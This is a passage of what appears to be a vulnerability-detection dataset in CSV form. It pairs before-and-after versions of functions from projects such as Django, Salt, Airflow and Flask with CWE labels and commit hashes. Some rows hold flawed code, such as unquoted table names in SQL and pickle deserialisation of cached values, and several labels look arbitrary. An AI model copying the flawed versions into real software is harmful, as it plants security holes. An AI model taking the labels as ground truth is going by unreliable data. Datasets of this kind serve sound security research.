        flateproc = obj.Object(""_EPROCESS"", offset, flat_addr_space)
        # then use the virtual address of its first thread to get into virtual land
        # (Note: the addr_space and flat_addr_space use the same config, so should have the same profile)
        tleoffset = addr_space.profile.get_obj_offset(""_ETHREAD"", ""ThreadListEntry"")
        ethread = obj.Object(""_ETHREAD"", offset = flateproc.ThreadListHead.Flink.v() - tleoffset, vm = addr_space)
        # and ask for the thread's process to get an _EPROCESS with a virtual address space
        virtual_process = ethread.owning_process()
        # Sanity check the bounce. See Issue 154.
        if virtual_process and offset == addr_space.vtop(virtual_process.obj_offset):
            return virtual_process
        return obj.NoneObject(""Unable to bounce back from virtual _ETHREAD to virtual _EPROCESS"")"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/routing.py,0,"def __init__(self, rules=None):
        """"""Constructs a router from an ordered list of rules::

            RuleRouter([
                Rule(PathMatches(""/handler""), Target),
                # ... more rules
            ])

        You can also omit explicit `Rule` constructor and use tuples of arguments::

            RuleRouter([
                (PathMatches(""/handler""), Target),
            ])

        `PathMatches` is a default matcher, so the example above can be simplified::

            RuleRouter([
                (""/handler"", Target),
            ])

        In the examples above, ``Target`` can be a nested `Router` instance, an instance of
        `~.httputil.HTTPServerConnectionDelegate` or an old-style callable,
        accepting a request argument.

        :arg rules: a list of `Rule` instances or tuples of `Rule`
            constructor arguments.
        """"""
        self.rules = []  # type: typing.List[Rule]
        if rules:
            self.add_rules(rules)",CWE-Unknown,tornadoweb/tornado,61bfba41f283340a223f1e31d3691cee12916065,"def __init__(self, rules=None):
        """"""Constructs a router from an ordered list of rules::

            RuleRouter([
                Rule(PathMatches(""/handler""), Target),
                # ... more rules
            ])

        You can also omit explicit `Rule` constructor and use tuples of arguments::

            RuleRouter([
                (PathMatches(""/handler""), Target),
            ])

        `PathMatches` is a default matcher, so the example above can be simplified::

            RuleRouter([
                (""/handler"", Target),
            ])

        In the examples above, ``Target`` can be a nested `Router` instance, an instance of
        `~.httputil.HTTPServerConnectionDelegate` or an old-style callable, accepting a request argument.

        :arg rules: a list of `Rule` instances or tuples of `Rule`
            constructor arguments.
        """"""
        self.rules = []  # type: typing.List[Rule]
        if rules:
            self.add_rules(rules)"
,UNKNOWN,UNKNOWN,tests/autologging/test_autologging_behaviors_integration.py,1,"def test_autolog_respects_silent_mode(tmpdir):
    # Use file-based experiment storage for this test. Otherwise, concurrent experiment creation in
    # multithreaded contexts may fail for other storage backends (e.g. SQLAlchemy)
    mlflow.set_tracking_uri(str(tmpdir))
    mlflow.set_experiment(""test_experiment"")

    og_showwarning = warnings.showwarning
    stream = StringIO()
    sys.stderr = stream
    logger = logging.getLogger(mlflow.__name__)

    from sklearn import datasets

    iris = datasets.load_iris()

    def train_model():
        import sklearn.utils
        from sklearn import svm
        from sklearn.model_selection import GridSearchCV

        parameters = {""kernel"": (""linear"", ""rbf""), ""C"": [1, 10]}
        svc = svm.SVC()
        with sklearn.utils.parallel_backend(backend=""threading""):
            clf = GridSearchCV(svc, parameters)
            clf.fit(iris.data, iris.target)

        return True

    # Call general and framework-specific autologging APIs to cover a
    # larger surface area for testing purposes
    mlflow.autolog(silent=True)
    mlflow.sklearn.autolog(silent=True, log_input_examples=True)

    executions = []
    with ThreadPoolExecutor(max_workers=50) as executor:
        for _ in range(2):
            e = executor.submit(train_model)
            executions.append(e)

    assert all([e.result() is True for e in executions])
    assert not stream.getvalue()
    # Verify that `warnings.showwarning` was restored to its original value after training
    # and that MLflow event logs are enabled
    assert warnings.showwarning == og_showwarning
    logger.info(""verify that event logs are enabled"")
    assert ""verify that event logs are enabled"" in stream.getvalue()

    stream.truncate(0)

    mlflow.sklearn.autolog(silent=False, log_input_examples=True)

    executions = []
    with ThreadPoolExecutor(max_workers=50) as executor:
        for _ in range(100):
            e = executor.submit(train_model)
            executions.append(e)

    assert all([e.result() is True for e in executions])
    assert stream.getvalue()
    # Verify that `warnings.showwarning` was restored to its original value after training
    # and that MLflow event logs are enabled
    assert warnings.showwarning == og_showwarning
    logger.info(""verify that event logs are enabled"")
    assert ""verify that event logs are enabled"" in stream.getvalue()",CWE-703,mlflow/mlflow,849bde9f37966da8f728685f2cae9e942fc8b996,"def test_autolog_respects_silent_mode(tmpdir):
    # Use file-based experiment storage for this test. Otherwise, concurrent experiment creation in
    # multithreaded contexts may fail for other storage backends (e.g. SQLAlchemy)
    mlflow.set_tracking_uri(str(tmpdir))
    mlflow.set_experiment(""test_experiment"")

    og_showwarning = warnings.showwarning
    stream = StringIO()
    sys.stderr = stream
    logger = logging.getLogger(mlflow.__name__)

    from sklearn import datasets

    iris = datasets.load_iris()

    def train_model():
        import sklearn.utils
        from sklearn import svm
        from sklearn.model_selection import GridSearchCV

        parameters = {""kernel"": (""linear"", ""rbf""), ""C"": [1, 10]}
        svc = svm.SVC()
        with sklearn.utils.parallel_backend(backend=""threading""):
            clf = GridSearchCV(svc, parameters)
            clf.fit(iris.data, iris.target)

        return True

    # Call general and framework-specific autologging APIs to cover a
    # larger surface area for testing purposes
    mlflow.autolog(silent=True)
    mlflow.sklearn.autolog(silent=True, log_input_examples=True)

    executions = []
    with ThreadPoolExecutor(max_workers=50) as executor:
        for _ in range(2):
            e = executor.submit(train_model)
            executions.append(e)

    assert all([e.result() is True for e in executions])
    assert not stream.getvalue()
    # Verify that `warnings.showwarning` was restored to its original value after training
    # and that MLflow event logs are enabled
    assert warnings.showwarning == og_showwarning
    logger.info(""verify that event logs are enabled"")
    assert ""verify that event logs are enabled"" in stream.getvalue()

    stream.truncate(0)

    mlflow.sklearn.autolog(silent=False, log_input_examples=True)

    with ThreadPoolExecutor(max_workers=50) as executor:
        for _ in range(100):
            executor.submit(train_model)

    assert stream.getvalue()
    # Verify that `warnings.showwarning` was restored to its original value after training
    # and that MLflow event logs are enabled
    assert warnings.showwarning == og_showwarning
    logger.info(""verify that event logs are enabled"")
    assert ""verify that event logs are enabled"" in stream.getvalue()"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/jobs/backfill_job.py,0,"def reset_state_for_orphaned_tasks(self, filter_by_dag_run=None, session=None):
        """"""
        This function checks if there are any tasks in the dagrun (or all) that
        have a schedule or queued states but are not known by the executor. If
        it finds those it will reset the state to None so they will get picked
        up again.  The batch option is for performance reasons as the queries
        are made in sequence.

        :param filter_by_dag_run: the dag_run we want to process, None if all
        :type filter_by_dag_run: airflow.models.DagRun
        :return: the number of TIs reset
        :rtype: int
        """"""
        queued_tis = self.executor.queued_tasks
        # also consider running as the state might not have changed in the db yet
        running_tis = self.executor.running

        resettable_states = [State.SCHEDULED, State.QUEUED]
        if filter_by_dag_run is None:
            resettable_tis = (
                session.query(TaskInstance)
                .join(
                    DagRun,
                    and_(
                        TaskInstance.dag_id == DagRun.dag_id,
                        TaskInstance.execution_date == DagRun.execution_date,
                    ),
                )
                .filter(
                    # pylint: disable=comparison-with-callable
                    DagRun.state == State.RUNNING,
                    DagRun.run_type != DagRunType.BACKFILL_JOB,
                    TaskInstance.state.in_(resettable_states),
                )
            ).all()
        else:
            resettable_tis = filter_by_dag_run.get_task_instances(state=resettable_states, session=session)
        tis_to_reset = []
        # Can't use an update here since it doesn't support joins
        for ti in resettable_tis:
            if ti.key not in queued_tis and ti.key not in running_tis:
                tis_to_reset.append(ti)

        if not tis_to_reset:
            return 0

        def query(result, items):
            if not items:
                return result

            filter_for_tis = TaskInstance.filter_for_tis(items)
            reset_tis = (
                session.query(TaskInstance)
                .filter(filter_for_tis, TaskInstance.state.in_(resettable_states))
                .with_for_update()
                .all()
            )

            for ti in reset_tis:
                ti.state = State.NONE
                session.merge(ti)

            return result + reset_tis

        reset_tis = helpers.reduce_in_chunks(query, tis_to_reset, [], self.max_tis_per_query)

        task_instance_str = '\n\t'.join(repr(x) for x in reset_tis)
        session.commit()

        self.log.info(""Reset the following %s TaskInstances:\n\t%s"", len(reset_tis), task_instance_str)
        return len(reset_tis)",CWE-Unknown,apache/airflow,38301c16ee3acdfd3de6128fae5056b25cc14e4c,"def reset_state_for_orphaned_tasks(self, filter_by_dag_run=None, session=None):
        """"""
        This function checks if there are any tasks in the dagrun (or all) that
        have a schedule or queued states but are not known by the executor. If
        it finds those it will reset the state to None so they will get picked
        up again.  The batch option is for performance reasons as the queries
        are made in sequence.

        :param filter_by_dag_run: the dag_run we want to process, None if all
        :type filter_by_dag_run: airflow.models.DagRun
        :return: the number of TIs reset
        :rtype: int
        """"""
        queued_tis = self.executor.queued_tasks
        # also consider running as the state might not have changed in the db yet
        running_tis = self.executor.running

        resettable_states = [State.SCHEDULED, State.QUEUED]
        if filter_by_dag_run is None:
            resettable_tis = (
                session.query(TaskInstance)
                .join(
                    DagRun,
                    and_(
                        TaskInstance.dag_id == DagRun.dag_id,
                        TaskInstance.execution_date == DagRun.execution_date,
                    ),
                )
                .filter(
                    # pylint: disable=comparison-with-callable
                    DagRun.state == State.RUNNING,
                    DagRun.run_type != DagRunType.BACKFILL_JOB,
                    TaskInstance.state.in_(resettable_states),
                )
            ).all()
        else:
            resettable_tis = filter_by_dag_run.get_task_instances(state=resettable_states, session=session)
        tis_to_reset = []
        # Can't use an update here since it doesn't support joins
        for ti in resettable_tis:
            if ti.key not in queued_tis and ti.key not in running_tis:
                tis_to_reset.append(ti)

        if not tis_to_reset:
            return 0

        def query(result, items):
            if not items:
                return result

            filter_for_tis = TaskInstance.filter_for_tis(items)
            reset_tis = (
                session.query(TaskInstance)
                .filter(filter_for_tis, TaskInstance.state.in_(resettable_states))
                .with_for_update()
                .all()
            )

            for ti in reset_tis:
                ti.state = State.NONE
                session.merge(ti)

            return result + reset_tis

        reset_tis = helpers.reduce_in_chunks(query, tis_to_reset, [], self.max_tis_per_query)

        task_instance_str = '\n\t'.join([repr(x) for x in reset_tis])
        session.commit()

        self.log.info(""Reset the following %s TaskInstances:\n\t%s"", len(reset_tis), task_instance_str)
        return len(reset_tis)"
,UNKNOWN,UNKNOWN,django/core/cache/backends/db.py,1,"def get_many(self, keys, version=None):
        if not keys:
            return {}

        key_map = {}
        for key in keys:
            new_key = self.make_key(key, version)
            self.validate_key(new_key)
            key_map[new_key] = key

        db = router.db_for_read(self.cache_model_class)
        connection = connections[db]
        quote_name = connection.ops.quote_name
        table = quote_name(self._table)

        with connection.cursor() as cursor:
            cursor.execute(
                'SELECT %s, %s, %s FROM %s WHERE %s IN (%s)' % (
                    quote_name('cache_key'),
                    quote_name('value'),
                    quote_name('expires'),
                    table,
                    quote_name('cache_key'),
                    ', '.join(['%s'] * len(key_map)),
                ),
                list(key_map),
            )
            rows = cursor.fetchall()

        result = {}
        expired_keys = []
        expression = models.Expression(output_field=models.DateTimeField())
        converters = (connection.ops.get_db_converters(expression) + expression.get_db_converters(connection))
        for key, value, expires in rows:
            for converter in converters:
                expires = converter(expires, expression, connection)
            if expires < timezone.now():
                expired_keys.append(key)
            else:
                value = connection.ops.process_clob(value)
                value = pickle.loads(base64.b64decode(value.encode()))
                result[key_map.get(key)] = value
        self._base_delete_many(expired_keys)
        return result","CWE-89, CWE-502",django/django,4b82578a6045746e7c470b7881dfcf182fd57048,"def get_many(self, keys, version=None):
        if not keys:
            return {}

        key_map = {}
        for key in keys:
            self.validate_key(key)
            key_map[self.make_key(key, version)] = key

        db = router.db_for_read(self.cache_model_class)
        connection = connections[db]
        quote_name = connection.ops.quote_name
        table = quote_name(self._table)

        with connection.cursor() as cursor:
            cursor.execute(
                'SELECT %s, %s, %s FROM %s WHERE %s IN (%s)' % (
                    quote_name('cache_key'),
                    quote_name('value'),
                    quote_name('expires'),
                    table,
                    quote_name('cache_key'),
                    ', '.join(['%s'] * len(key_map)),
                ),
                list(key_map),
            )
            rows = cursor.fetchall()

        result = {}
        expired_keys = []
        expression = models.Expression(output_field=models.DateTimeField())
        converters = (connection.ops.get_db_converters(expression) + expression.get_db_converters(connection))
        for key, value, expires in rows:
            for converter in converters:
                expires = converter(expires, expression, connection)
            if expires < timezone.now():
                expired_keys.append(key)
            else:
                value = connection.ops.process_clob(value)
                value = pickle.loads(base64.b64decode(value.encode()))
                result[key_map.get(key)] = value
        self._base_delete_many(expired_keys)
        return result"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/iptables.py,0,"def build_rule(table=None, chain=None, command=None, position='', full=None,
               **kwargs):
    '''
    Build a well-formatted iptables rule based on kwargs. Long options must be
    used (`--jump` instead of `-j`) because they will have the `--` added to
    them. A `table` and `chain` are not required, unless `full` is True.

    If `full` is `True`, then `table`, `chain` and `command` are required.
    `command` may be specified as either a short option ('I') or a long option
    (`--insert`). This will return the iptables command, exactly as it would
    be used from the command line.

    If a position is required (as with `-I` or `-D`), it may be specified as
    `position`. This will only be useful if `full` is True.

    If `connstate` is passed in, it will automatically be changed to `state`.

    CLI Examples:

    .. code-block:: bash

        salt '*' iptables.build_rule match=state connstate=RELATED,ESTABLISHED \\
            jump=ACCEPT
        salt '*' iptables.build_rule filter INPUT command=I position=3 \\
            full=True match=state state=RELATED,ESTABLISHED jump=ACCEPT
    '''
    if 'target' in kwargs:
        kwargs['jump'] = kwargs['target']
        del kwargs['target']

    for ignore in '__id__', 'fun', 'table', 'chain':
        if ignore in kwargs:
            del kwargs[ignore]

    rule = ''

    if 'match' in kwargs:
        rule = '-m {0} '.format(kwargs['match'])
        del kwargs['match']

    if 'state' in kwargs:
        del kwargs['state']

    if 'connstate' in kwargs:
        kwargs['state'] = kwargs['connstate']
        del kwargs['connstate']

    for item in kwargs:
        rule += '--{0} {1} '.format(item, kwargs[item])

    if full is True:
        if not table:
            return 'Error: Table needs to be specified'
        if not chain:
            return 'Error: Chain needs to be specified'
        if not command:
            return 'Error: Command needs to be specified'

        if command in 'ACDIRLSFZNXPE':
            flag = '-'
        else:
            flag = '--'

        return 'iptables -t {0} {1}{2} {3} {4} {5}'.format(table,
            flag, command, chain, position, rule)

    return rule",,saltstack/salt,1d71ba837876f13b5ea9fcb3afdbf6093d552697,"def build_rule(table=None, chain=None, command=None, position='', full=None,
               **kwargs):
    '''
    Build a well-formatted iptables rule based on kwargs. Long options must be
    used (`--jump` instead of `-j`) because they will have the `--` added to
    them. A `table` and `chain` are not required, unless `full` is True.

    If `full` is `True`, then `table`, `chain` and `command` are required.
    `command` may be specified as either a short option ('I') or a long option
    (`--insert`). This will return the iptables command, exactly as it would
    be used from the command line.

    If a position is required (as with `-I` or `-D`), it may be specified as
    `position`. This will only be useful if `full` is True.

    If `connstate` is passed in, it will automatically be changed to `state`.

    CLI Examples:

    .. code-block:: bash

        salt '*' iptables.build_rule match=state connstate=RELATED,ESTABLISHED \\
            jump=ACCEPT
        salt '*' iptables.build_rule filter INPUT command=I position=3 \\
            full=True match=state state=RELATED,ESTABLISHED jump=ACCEPT
    '''
    if 'target' in kwargs:
        kwargs['jump'] = kwargs['target']
        del kwargs['target']

    for ignore in '__id__', 'fun', 'table', 'chain':
        if ignore in kwargs:
            del kwargs[ignore]

    rule = ''

    if 'match' in kwargs:
        rule = '-m {0} '.format(kwargs['match'])
        del kwargs['match']

    if 'state' in kwargs:
        del kwargs['state']

    if 'connstate' in kwargs:
        kwargs['state'] = kwargs['connstate']
        del kwargs['connstate']

    for item in kwargs:
        rule += '--{0} {1} '.format(item, kwargs[item])

    if full is True:
        if not table:
            return 'Error: Table needs to be specified'
        if not chain:
            return 'Error: Chain needs to be specified'
        if not command:
            return 'Error: Command needs to be specified'

        if command in 'ACDIRLSFZNXPE':
            flag = '-'
        else:
            flag = '--'

        return 'iptables {0}{1} {2} {3} {4}'.format(flag, command, chain,
            position, rule)

    return rule"
,UNKNOWN,UNKNOWN,django/db/models/sql/subqueries.py,1,"def as_sql(self):
        """"""
        Creates the SQL for this query. Returns the SQL string and list of
        parameters.
        """"""
        assert len(self.tables) == 1, \
                ""Can only delete from one table at a time.""
        result = ['DELETE FROM %s' % self.quote_name_unless_alias(self.tables[0])]
        where, params = self.where.as_sql()
        result.append('WHERE %s' % where)
        return ' '.join(result), tuple(params)",CWE-703,django/django,96d643548e7c161590b66ef893eafde5f7f35bcc,"def as_sql(self):
        """"""
        Creates the SQL for this query. Returns the SQL string and list of
        parameters.
        """"""
        assert len(self.tables) == 1, \
                ""Can only delete from one table at a time.""
        result = ['DELETE FROM %s' % self.tables[0]]
        where, params = self.where.as_sql()
        result.append('WHERE %s' % where)
        return ' '.join(result), tuple(params)"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/sessions.py,0,"def object_hook(obj):
            if len(obj) != 1:
                return obj
            the_key, the_value = six.advance_iterator(obj.iteritems())
            if the_key == ' t':
                return tuple(the_value)
            elif the_key == ' u':
                return uuid.UUID(the_value)
            elif the_key == ' m':
                return Markup(the_value)
            elif the_key == ' d':
                return parse_date(the_value)
            return obj",,pallets/flask,dcd052366b43df7bfe730c2e991ff37c617ba52b,"def object_hook(obj):
            if len(obj) != 1:
                return obj
            the_key, the_value = obj.iteritems().next()
            if the_key == ' t':
                return tuple(the_value)
            elif the_key == ' u':
                return uuid.UUID(the_value)
            elif the_key == ' m':
                return Markup(the_value)
            elif the_key == ' d':
                return parse_date(the_value)
            return obj"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/sftp_client.py,0,"def posix_rename(self, oldpath, newpath):
        """"""
        Rename a file or folder from ``oldpath`` to ``newpath``, following
        posix conventions.

        :param str oldpath: existing name of the file or folder
        :param str newpath: new name for the file or folder, will be
            overwritten if it already exists

        :raises:
            ``IOError`` -- if ``newpath`` is a folder, posix-rename is not
            supported by the server or something else goes wrong
        """"""
        oldpath = self._adjust_cwd(oldpath)
        newpath = self._adjust_cwd(newpath)
        self._log(DEBUG, 'posix_rename(%r, %r)' % (oldpath, newpath))
        self._request(
            CMD_EXTENDED, ""posix-rename@openssh.com"", oldpath, newpath
        )",,paramiko/paramiko,6eeecc1634004d0dc61c17a4797c97d55610ba6e,"def posix_rename(self, oldpath, newpath):
        """"""
        Rename a file or folder from ``oldpath`` to ``newpath``, following
        posix conventions.

        :param str oldpath: existing name of the file or folder
        :param str newpath: new name for the file or folder, will be
            overwritten if it already exists

        :raises IOError: if ``newpath`` is a folder, posix-rename is not
            supported by the server or something else goes wrong
        """"""
        oldpath = self._adjust_cwd(oldpath)
        newpath = self._adjust_cwd(newpath)
        self._log(DEBUG, 'posix_rename(%r, %r)' % (oldpath, newpath))
        self._request(
            CMD_EXTENDED, ""posix-rename@openssh.com"", oldpath, newpath
        )"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/api_connexion/endpoints/connection_endpoint.py,0,"def patch_connection(
    *,
    connection_id: str,
    update_mask: UpdateMask = None,
    session: Session = NEW_SESSION,
) -> APIResponse:
    """"""Update a connection entry.""""""
    try:
        data = connection_schema.load(request.json, partial=True)
    except ValidationError as err:
        # If validation get to here, it is extra field validation.
        raise BadRequest(detail=str(err.messages))
    non_update_fields = [""connection_id"", ""conn_id""]
    connection = session.scalar(select(Connection).filter_by(conn_id=connection_id).limit(1))
    if connection is None:
        raise NotFound(
            ""Connection not found"",
            detail=f""The Connection with connection_id: `{connection_id}` was not found"",
        )
    if data.get(""conn_id"") and connection.conn_id != data[""conn_id""]:
        raise BadRequest(detail=""The connection_id cannot be updated."")
    if update_mask:
        data = extract_update_mask_data(update_mask, non_update_fields, data)
    for key in data:
        setattr(connection, key, data[key])
    session.add(connection)
    session.commit()
    return connection_schema.dump(connection)",CWE-Unknown,apache/airflow,1328d1a03401c229d723697642cada78b06a00db,"def patch_connection(
    *,
    connection_id: str,
    update_mask: UpdateMask = None,
    session: Session = NEW_SESSION,
) -> APIResponse:
    """"""Update a connection entry.""""""
    try:
        data = connection_schema.load(request.json, partial=True)
    except ValidationError as err:
        # If validation get to here, it is extra field validation.
        raise BadRequest(detail=str(err.messages))
    non_update_fields = [""connection_id"", ""conn_id""]
    connection = session.scalar(select(Connection).filter_by(conn_id=connection_id).limit(1))
    if connection is None:
        raise NotFound(
            ""Connection not found"",
            detail=f""The Connection with connection_id: `{connection_id}` was not found"",
        )
    if data.get(""conn_id"") and connection.conn_id != data[""conn_id""]:
        raise BadRequest(detail=""The connection_id cannot be updated."")
    if update_mask:
        data = extract_update_mask_data(update_mask, non_update_fields, data)
    for key in data:
        setattr(connection, key, data[key])
    session.add(connection)
    session.commit()
    return connection_schema.dump(connection)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/zypper.py,0,"def install(name=None,
            refresh=False,
            fromrepo=None,
            pkgs=None,
            sources=None,
            downloadonly=None,
            skip_verify=False,
            version=None,
            ignore_repo_failure=False,
            **kwargs):
    '''
    .. versionchanged:: 2015.8.12,2016.3.3,2016.11.0
        On minions running systemd>=205, `systemd-run(1)`_ is now used to
        isolate commands which modify installed packages from the
        ``salt-minion`` daemon's control group. This is done to keep systemd
        from killing any zypper commands spawned by Salt when the
        ``salt-minion`` service is restarted. (see ``KillMode`` in the
        `systemd.kill(5)`_ manpage for more information). If desired, usage of
        `systemd-run(1)`_ can be suppressed by setting a :mod:`config option
        <salt.modules.config.get>` called ``systemd.scope``, with a value of
        ``False`` (no quotes).

    .. _`systemd-run(1)`: https://www.freedesktop.org/software/systemd/man/systemd-run.html
    .. _`systemd.kill(5)`: https://www.freedesktop.org/software/systemd/man/systemd.kill.html

    Install the passed package(s), add refresh=True to force a 'zypper refresh'
    before package is installed.

    name
        The name of the package to be installed. Note that this parameter is
        ignored if either ``pkgs`` or ``sources`` is passed. Additionally,
        please note that this option can only be used to install packages from
        a software repository. To install a package file manually, use the
        ``sources`` option.

        CLI Example:

        .. code-block:: bash

            salt '*' pkg.install <package name>

    refresh
        force a refresh if set to True.
        If set to False (default) it depends on zypper if a refresh is
        executed.

    fromrepo
        Specify a package repository to install from.

    downloadonly
        Only download the packages, do not install.

    skip_verify
        Skip the GPG verification check (e.g., ``--no-gpg-checks``)

    version
        Can be either a version number, or the combination of a comparison
        operator (<, >, <=, >=, =) and a version number (ex. '>1.2.3-4').
        This parameter is ignored if ``pkgs`` or ``sources`` is passed.

    resolve_capabilities
        If this option is set to True zypper will take capabilities into
        account. In this case names which are just provided by a package
        will get installed. Default is False.

    Multiple Package Installation Options:

    pkgs
        A list of packages to install from a software repository. Must be
        passed as a python list. A specific version number can be specified
        by using a single-element dict representing the package and its
        version. As with the ``version`` parameter above, comparison operators
        can be used to target a specific version of a package.

        CLI Examples:

        .. code-block:: bash

            salt '*' pkg.install pkgs='[""foo"", ""bar""]'
            salt '*' pkg.install pkgs='[""foo"", {""bar"": ""1.2.3-4""}]'
            salt '*' pkg.install pkgs='[""foo"", {""bar"": ""<1.2.3-4""}]'

    sources
        A list of RPM packages to install. Must be passed as a list of dicts,
        with the keys being package names, and the values being the source URI
        or local path to the package.

        CLI Example:

        .. code-block:: bash

            salt '*' pkg.install sources='[{""foo"": ""salt://foo.rpm""},{""bar"": ""salt://bar.rpm""}]'

    ignore_repo_failure
        Zypper returns error code 106 if one of the repositories are not available for various reasons.
        In case to set strict check, this parameter needs to be set to True. Default: False.

    diff_attr:
        If a list of package attributes is specified, returned value will
        contain them, eg.::

            {'<package>': {
                'old': {
                    'version': '<old-version>',
                    'arch': '<old-arch>'},

                'new': {
                    'version': '<new-version>',
                    'arch': '<new-arch>'}}}

        Valid attributes are: ``epoch``, ``version``, ``release``, ``arch``,
        ``install_date``, ``install_date_time_t``.

        If ``all`` is specified, all valid attributes will be returned.

        .. versionadded:: 2018.3.0


    Returns a dict containing the new package names and versions::

        {'<package>': {'old': '<old-version>',
                       'new': '<new-version>'}}

    If an attribute list is specified in ``diff_attr``, the dict will also contain
    any specified attribute, eg.::

        {'<package>': {
            'old': {
                'version': '<old-version>',
                'arch': '<old-arch>'},

            'new': {
                'version': '<new-version>',
                'arch': '<new-arch>'}}}
    '''
    if refresh:
        refresh_db()

    try:
        pkg_params, pkg_type = __salt__['pkg_resource.parse_targets'](name, pkgs, sources, **kwargs)
    except MinionError as exc:
        raise CommandExecutionError(exc)

    if pkg_params is None or len(pkg_params) == 0:
        return {}

    version_num = Wildcard(__zypper__)(name, version)
    if pkg_type == 'repository':
        targets = []
        for param, version_num in six.iteritems(pkg_params):
            if version_num is None:
                log.debug('targeting package: %s', param)
                targets.append(param)
            else:
                prefix, verstr = salt.utils.pkg.split_comparison(version_num)
                if not prefix:
                    prefix = '='
                target = '{0}{1}{2}'.format(param, prefix, verstr)
                log.debug('targeting package: %s', target)
                targets.append(target)
    elif pkg_type == 'advisory':
        targets = []
        cur_patches = list_patches()
        for advisory_id in pkg_params:
            if advisory_id not in cur_patches:
                raise CommandExecutionError('Advisory id ""{0}"" not found'.format(advisory_id))
            else:
                targets.append(advisory_id)
    else:
        targets = pkg_params

    diff_attr = kwargs.get(""diff_attr"")
    old = list_pkgs(attr=diff_attr) if not downloadonly else list_downloaded()
    downgrades = []
    if fromrepo:
        fromrepoopt = ['--force', '--force-resolution', '--from', fromrepo]
        log.info('Targeting repo \'%s\'', fromrepo)
    else:
        fromrepoopt = ''
    cmd_install = ['install', '--auto-agree-with-licenses']

    cmd_install.append(kwargs.get('resolve_capabilities') and '--capability' or '--name')

    if not refresh:
        cmd_install.insert(0, '--no-refresh')
    if skip_verify:
        cmd_install.insert(0, '--no-gpg-checks')
    if downloadonly:
        cmd_install.append('--download-only')
    if fromrepo:
        cmd_install.extend(fromrepoopt)

    errors = []
    if pkg_type == 'advisory':
        targets = [""patch:{0}"".format(t) for t in targets]

    # Split the targets into batches of 500 packages each, so that
    # the maximal length of the command line is not broken
    systemd_scope = _systemd_scope()
    while targets:
        cmd = cmd_install + targets[:500]
        targets = targets[500:]
        for line in __zypper__(no_repo_failure=ignore_repo_failure, systemd_scope=systemd_scope).call(*cmd).splitlines():
            match = re.match(r""^The selected package '([^']+)'.+has lower version"", line)
            if match:
                downgrades.append(match.group(1))

    while downgrades:
        cmd = cmd_install + ['--force'] + downgrades[:500]
        downgrades = downgrades[500:]
        __zypper__(no_repo_failure=ignore_repo_failure).call(*cmd)

    _clean_cache()
    new = list_pkgs(attr=diff_attr) if not downloadonly else list_downloaded()

    # Handle packages which report multiple new versions
    # (affects only kernel packages at this point)
    for pkg_name in new:
        pkg_data = new[pkg_name]
        if isinstance(pkg_data, six.string_types):
            new[pkg_name] = pkg_data.split(',')[-1]

    ret = salt.utils.data.compare_dicts(old, new)

    if errors:
        raise CommandExecutionError(
            'Problem encountered {0} package(s)'.format(
                'downloading' if downloadonly else 'installing'
            ),
            info={'errors': errors, 'changes': ret}
        )

    return ret",,saltstack/salt,3d37eca847044226a745dc3c22b96b16528a62cd,"def install(name=None,
            refresh=False,
            fromrepo=None,
            pkgs=None,
            sources=None,
            downloadonly=None,
            skip_verify=False,
            version=None,
            ignore_repo_failure=False,
            **kwargs):
    '''
    .. versionchanged:: 2015.8.12,2016.3.3,2016.11.0
        On minions running systemd>=205, `systemd-run(1)`_ is now used to
        isolate commands which modify installed packages from the
        ``salt-minion`` daemon's control group. This is done to keep systemd
        from killing any zypper commands spawned by Salt when the
        ``salt-minion`` service is restarted. (see ``KillMode`` in the
        `systemd.kill(5)`_ manpage for more information). If desired, usage of
        `systemd-run(1)`_ can be suppressed by setting a :mod:`config option
        <salt.modules.config.get>` called ``systemd.scope``, with a value of
        ``False`` (no quotes).

    .. _`systemd-run(1)`: https://www.freedesktop.org/software/systemd/man/systemd-run.html
    .. _`systemd.kill(5)`: https://www.freedesktop.org/software/systemd/man/systemd.kill.html

    Install the passed package(s), add refresh=True to force a 'zypper refresh'
    before package is installed.

    name
        The name of the package to be installed. Note that this parameter is
        ignored if either ``pkgs`` or ``sources`` is passed. Additionally,
        please note that this option can only be used to install packages from
        a software repository. To install a package file manually, use the
        ``sources`` option.

        CLI Example:

        .. code-block:: bash

            salt '*' pkg.install <package name>

    refresh
        force a refresh if set to True.
        If set to False (default) it depends on zypper if a refresh is
        executed.

    fromrepo
        Specify a package repository to install from.

    downloadonly
        Only download the packages, do not install.

    skip_verify
        Skip the GPG verification check (e.g., ``--no-gpg-checks``)

    version
        Can be either a version number, or the combination of a comparison
        operator (<, >, <=, >=, =) and a version number (ex. '>1.2.3-4').
        This parameter is ignored if ``pkgs`` or ``sources`` is passed.

    resolve_capabilities
        If this option is set to True zypper will take capabilites into
        account. In this case names which are just provided by a package
        will get installed. Default is False.

    Multiple Package Installation Options:

    pkgs
        A list of packages to install from a software repository. Must be
        passed as a python list. A specific version number can be specified
        by using a single-element dict representing the package and its
        version. As with the ``version`` parameter above, comparison operators
        can be used to target a specific version of a package.

        CLI Examples:

        .. code-block:: bash

            salt '*' pkg.install pkgs='[""foo"", ""bar""]'
            salt '*' pkg.install pkgs='[""foo"", {""bar"": ""1.2.3-4""}]'
            salt '*' pkg.install pkgs='[""foo"", {""bar"": ""<1.2.3-4""}]'

    sources
        A list of RPM packages to install. Must be passed as a list of dicts,
        with the keys being package names, and the values being the source URI
        or local path to the package.

        CLI Example:

        .. code-block:: bash

            salt '*' pkg.install sources='[{""foo"": ""salt://foo.rpm""},{""bar"": ""salt://bar.rpm""}]'

    ignore_repo_failure
        Zypper returns error code 106 if one of the repositories are not available for various reasons.
        In case to set strict check, this parameter needs to be set to True. Default: False.

    diff_attr:
        If a list of package attributes is specified, returned value will
        contain them, eg.::

            {'<package>': {
                'old': {
                    'version': '<old-version>',
                    'arch': '<old-arch>'},

                'new': {
                    'version': '<new-version>',
                    'arch': '<new-arch>'}}}

        Valid attributes are: ``epoch``, ``version``, ``release``, ``arch``,
        ``install_date``, ``install_date_time_t``.

        If ``all`` is specified, all valid attributes will be returned.

        .. versionadded:: 2018.3.0


    Returns a dict containing the new package names and versions::

        {'<package>': {'old': '<old-version>',
